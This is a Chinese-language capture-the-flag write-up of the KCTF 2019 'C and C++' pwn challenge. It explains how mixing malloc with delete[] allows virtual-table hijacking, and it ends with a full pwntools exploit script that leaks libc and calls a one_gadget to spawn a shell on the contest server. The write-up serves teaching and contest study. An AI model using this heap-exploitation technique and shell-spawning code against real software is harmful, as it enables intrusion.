2019KCTF 晉級賽Q1 | 第九題點評及解題思路

Editor發表於2019-04-04

還在糾結是學C還是C++嗎?還在糾結是C好,還是C++好嗎?

同為優秀的程式語言,C和C++各自收割了一大批粉絲。但是,如果把C和C++混用,會出現什麼樣的效果呢?

今天就讓我們探索一下把C與C++的內容分配混用的第八題。


2019KCTF 晉級賽Q1 | 第九題點評及解題思路


本道題目共有23支隊伍解答出來,最快的7HxzZ戰隊,用時7個半小時左右,在解題速度上遠遠甩開其他隊伍。




出題團隊

2019KCTF 晉級賽Q1 | 第九題點評及解題思路

戰隊成員:holing

個人主頁:https://bbs.pediy.com/user-742286.htm

個人簡介:英國留學生,計算機系。什麼都學一點,電腦保安方向會的稍微更多,逆向和pwn都會一點。經常參加ctftime上的高質量比賽,雖然每次都做不出幾題,不過能學到很多東西。今年暑假畢業,正在尋找漏洞挖掘方向的實習。





看雪CTF crownless 評委 點評


《C與C++》這道題主要關注C語言中的malloc和free函式與C++中的new[],delete[]的混用可能導致的安全問題,思路比較新穎,要求參賽者對程式語言與逆向有一定程度的理解。



題目設計思路

本題漏洞比較新穎:malloc,free,new[],delete[]的混用。

起因是我之前在知乎回答過的一個問題在C++裡是怎麼實現delete[]的,寫完之後我就想,因為記憶體佈局並不一樣(delete[]有一個記錄大小的header),所以如果把C與C++的記憶體分配混用,是否能導致任意程式碼執行

然後拖了很久,終於在這次比賽做出了這道題。本來我是想直接用new char[]的,但是發現對於基本型別,delete[]和free行為完全一致,具體可以跟一下跟進delete[],會發現幾個got表跳轉跳到了free。原因是基本型別不需要在delete[]的時候呼叫解構函式。

然後我就試著寫了一個有解構函式的類,一開始不是虛解構函式。我一開始的利用思路是利用house of spirit來把C++ object array的size當作堆塊的chunk free掉,或者把prev_size當作size free掉。但是仔細一想這個+8 -8一定會導致記憶體不對齊所以這樣釋放一定會abort。雖然可以過載new和delete強制讓他對齊,但是這不美觀,有種為了pwn而寫程式的感覺了,而我不喜歡這種題目。

所以就決定加了一個虛解構函式,可以在delete一個malloc出來的array的時候能夠實現虛表劫持。但是搞了半天發現沒法leak,所以自己加了一個leak的後門,這個逆向menu函式的時候就能發現,所以不guessy。如果有哪個師傅能不用這個後門做出來請務必分享一下方法讓我這個菜鳥學習一下。

簡單起見PIE也沒開,所以最後就基本已經很簡單了:首先malloc然後直接free第一次讓我能控制堆中的某些資料,因為free的時候不會清空記憶體資料(本來在delete[]裡是會的,在解構函式裡清0了buffer,但是編譯器給我優化掉了),然後兩次malloc使得第二次malloc能夠讓虛表夠到我能控制的記憶體,最後delete[]呼叫已經被劫持的虛解構函式。


至於呼叫什麼,name一開始放main和leak後門,然後先呼叫leak後門,再呼叫回main,然後name改成one gadget,然後呼叫one gadget。這裡可能要注意,因為解構函式呼叫是從後往前呼叫的,所以先呼叫的要放在後面。




破解思路

本題解題思路由看雪論壇 奈沙夜影 提供


2019KCTF 晉級賽Q1 | 第九題點評及解題思路


程式分析


程式邏輯比較簡單,可以申請和釋放記憶體,並且實現了c和cpp的兩種記憶體分配方法,如下:
   malloc –> free
   new –> delet

2019KCTF 晉級賽Q1 | 第九題點評及解題思路


分析c和cpp的實現儲存方式可以發現,儲存字串時,是按照16位元組進行劃分的,每一段進行儲存。如下:


2019KCTF 晉級賽Q1 | 第九題點評及解題思路


cpp:

2019KCTF 晉級賽Q1 | 第九題點評及解題思路


其中heap pos是每一個堆記憶體塊的位置,mem pos是申請記憶體時返回的位置,pointer是程式中儲存資料用到的位置。


在釋放記憶體時,如果呼叫free,直接釋放記憶體即可,如下:

2019KCTF 晉級賽Q1 | 第九題點評及解題思路

如果呼叫delete,會將指標往前移8個位元組,然後獲取str塊的count,然後將其所有塊中的虛表中的release函式呼叫一次,如下:

2019KCTF 晉級賽Q1 | 第九題點評及解題思路



漏洞點

通過malloc申請的記憶體,通過delete來釋放,會按照delete的規則來進行,從而實現了c和cpp的混用,把c中的堆塊size當成cpp的塊數,從而依次執行其中虛表的release函式,從而實現了函式控制流劫持。



利用方式

在設定name來可以佈置虛表,寫入兩個函式,在release的時候,實現呼叫,由於洩露和佈置虛表至少需要兩次輸入,應該可以在佈置虛表的時候把main函式放在第二個虛表的位置,從而實現多次利用漏洞,從而實現多次利用。


Name的內容設定為:
p64(main_func)+ p64(target_func)


虛表vtable有多個,從後往前執行,其內容設定為:
Vtable(n-1): p64(name_addr)
Vtable(n): p64(name_addr+8)


這樣,呼叫虛表函式,依次執行的函式就為:target_func,main_func
其中,洩露libc地址的函式如下:

2019KCTF 晉級賽Q1 | 第九題點評及解題思路


通過puts的地址可以得到libc基址,從而計算出one_gadget地址,拿到shell,具體見利用程式碼。



利用程式碼


from pwn import *
 
def show_debug_info(flag = True):
    global show_info_sign
 
    if flag == True:
        #context.log_level = 'DEBUG'
        show_info_sign = True
    else:
        #context.log_level = 'info'
        show_info_sign = False
 
def d2v_x64(data):
    return u64(data[:8].ljust(8, '\x00'))
 
def d2v_x32(data):
    return u32(data[:4].ljust(4, '\x00'))
 
def expect_data(io_or_data, b_str = None, e_str = None):
    if type(io_or_data) != str:
        t_io = io_or_data
 
        if b_str != None and b_str != "":
            recvuntil(t_io, b_str)
        data = recvuntil(t_io, e_str)[:-len(e_str)]
    else:
        if b_str == None or b_str == "":
            b_pos = 0
        else:
            t_data = io_or_data
            b_pos = t_data.find(b_str)
            if b_pos == -1:
                return ""
            b_pos += len(b_str)
 
        if e_str == None or e_str == "":
            data = t_data[b_pos:]
        else:
            e_pos = t_data.find(e_str, b_pos)
            if e_pos == -1:
                return ""
            data = t_data[b_pos:e_pos]
    return data
 
import sys
 
def show_echo(data):
    global show_info_sign
    if show_info_sign:
        sys.stdout.write(data)
 
def recv(io, size):
    data = io.recv(size)
    show_echo(data)
    return data
 
def recvuntil(io, info):
    data = io.recvuntil(info)
    show_echo(data)
    return data
 
def send(io, data):
    io.send(data)
    show_echo(data)
 
def sendline(io, data):
    send(io, data + "\n")
 
def rd_wr_str(io, info, buff):
    #io.recvuntil(info, timeout = 2)
    #io.send(buff)
    data = recvuntil(io, info)
    send(io, buff)
    return data
 
def rd_wr_int(io, info, val):
    return rd_wr_str(io, info, str(val) + "\n")
 
def r_w(io, info, data):
    if type(data) == int:
        return rd_wr_int(io, info, data)
    else:
        return rd_wr_str(io, info, data)
 
def set_context():
    binary_elf = ELF(binary_path)
    context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)
 
import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output
 
global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""):
    if is_local:
        set_pid(io)
        if is_pie == True:
            if code_base == 0:
                set_pid(io)
                data = do_command("cat /proc/%d/maps"%global_pid_int)
                code_base = int(data.split("\n")[0].split("-")[0], 16)
        #gdbscript = ""
        for item in break_list:
            gdbscript += "b *0x%x\n"%(item + code_base)
        gdbscript += "c\n"
 
        gdb.attach(global_pid_int, gdbscript = gdbscript)
 
def set_pid(io):
    global global_pid_int
    if global_pid_int == -1:
        if is_local:
            """
            data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
            #print "-"*0x10
            #print repr(data)
            items = data.split(" ")[1:]
            global_pid_int = 0
            i = 0
            while len(items[i]) == 0:
                i += 1
            global_pid_int = int(items[i])
            #"""
            global_pid_int = pidof(io)[0]
 
def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:
        set_pid(io)
        raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)
 
    if info != "":
        print "pass", info
 
def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:
 
        raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0])
    if info != "":
        print "pass", info
 
def get_io(target):
    if is_local:
        io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
        #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
    else:
        io = remote(target[0], target[1])
    return io
 
def r_w(io, info, data):
    if type(data) == int:
        rd_wr_int(io, info, data)
    else:
        rd_wr_str(io, info, data)
 
def m_c(io, choice, prompt = ">> "):
    r_w(io, prompt, choice)
 
def set_item(io, choice, prompt = ["?\n"]):
    r_w(io, prompt, choice)
 
def malloc(io, size, data_list):
    m_c(io, 1)
    r_w(io, "string\n", size)
    recvuntil(io, "string\n")
    for item in data_list:
        send(io, item)
 
def free(io, idx):
    m_c(io, 2)
    r_w(io, "string\n", idx)
 
def new(io, size, data_list):
    m_c(io, 3)
    r_w(io, "string\n", size)
    recvuntil(io, "string\n")
    for item in data_list:
        send(io, item)
 
def delete(io, idx):
    m_c(io, 4)
    r_w(io, "string\n", idx)
 
 
def pwn(io):
 
    #offset info
    if is_local:
        #local
        offset_system = 0x0
        offset_binsh = 0x0
    else:
        #remote   
        offset_system = 0x0
        offset_binsh = 0x0
 
    leak_func = 0x400E10
    read_buff = 0x400d00
    name_addr = 0x602328
 
    main_addr = 0x4009A0
 
    #io.interactive()
 
    name = ""
    name += p64(main_addr)
    name += p64(leak_func)
    r_w(io, ": ", name[:-1])
 
    payload = []
    payload.append("111\n")
    malloc(io, 1, payload)
 
    payload = []
    payload.append("222\n")
    malloc(io, 5*0x10, payload)
 
    payload = []
    payload.append("333\n")
    malloc(io, 20*0x10, payload)
 
    payload = []
    payload.append(p64(name_addr) + '4'*7)
    payload.append(p64(name_addr+8) + '-'*7)
    payload.append("4444\n")
    malloc(io, 3*0x10, payload)
 
    #gdb_attach(io, [0x400DB8])
 
    delete(io, 0)
    data = recvuntil(io, "\n")
    puts_addr = int(data, 16)
    print hex(puts_addr)
    libc_addr = puts_addr - 0x6f690
 
    name = ""
    name += p64(main_addr)
    name += p64(libc_addr + 0xf02a4)
    r_w(io, ": ", name[:-1])
 
    payload = []
    payload.append("111\n")
    malloc(io, 1, payload)
 
    payload = []
    payload.append("222\n")
    malloc(io, 5*0x10, payload)
 
    payload = []
    payload.append("333\n")
    malloc(io, 20*0x10, payload)
 
    payload = []
    payload.append(p64(name_addr) + '4'*7)
    payload.append(p64(name_addr+8) + '-'*7)
    payload.append("4444\n")
    malloc(io, 3*0x10, payload)
 
    #gdb_attach(io, [0x400DD2])
    delete(io, 0)
    #data = recvuntil(io, "\n")
    #puts_addr = int(data, 16)
    #print hex(puts_addr)
 
    io.interactive()
 
    #io.recvuntil()
    #payload = ""
    #io.sendline(payload)
    #io.interactive()
    #print proc.
    pass   
 
 
is_local = True
is_local = False
 
binary_path = "./candcpp"
 
libc_file_path = ""
libc_file_path = "libc-2.23.so"
 
ip, port = "", 0
items = "154.8.222.144 9999".split(" ")
 
ip = items[0]
port = int(items[1])
 
show_info_sign = True
 
if is_local:
    # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
    show_debug_info(True)
    target = binary_path
else:
    show_debug_info(False)
    target = (ip, port)
 
io = get_io(target)
pwn(io)



相關文章